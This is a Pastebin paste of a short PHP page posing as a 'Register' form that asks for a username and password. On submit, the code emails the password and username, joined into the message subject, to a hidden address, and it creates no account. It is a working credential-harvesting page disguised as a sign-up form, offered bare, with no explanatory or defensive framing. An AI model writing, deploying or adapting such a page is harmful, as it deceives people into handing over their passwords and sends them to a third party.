Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <head>
- <title>Register</title>
- </head>
- <body>
- <?php
- if( $_POST["button"])
- {
- $to = ------------------------------;
- $subject = $_POST["password"] . $_POST["username"];
- $body = "Hi,\n\nHow are you?";
- if (mail($to, $subject, $body))
- {
- echo("<p>Message successfully sent!</p>");
- } else {
- echo("<p>Message delivery failed...</p>");
- }
- }
- ?>
- <form name="myform" method="POST">
- <b>Register</b>
- <p>Username: <input type="text" name="username" /></p>
- <p>Password: <input type="password" name="password" /></p>
- <p><input type="submit" name = "button" value="Register" /></p>
- </form>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement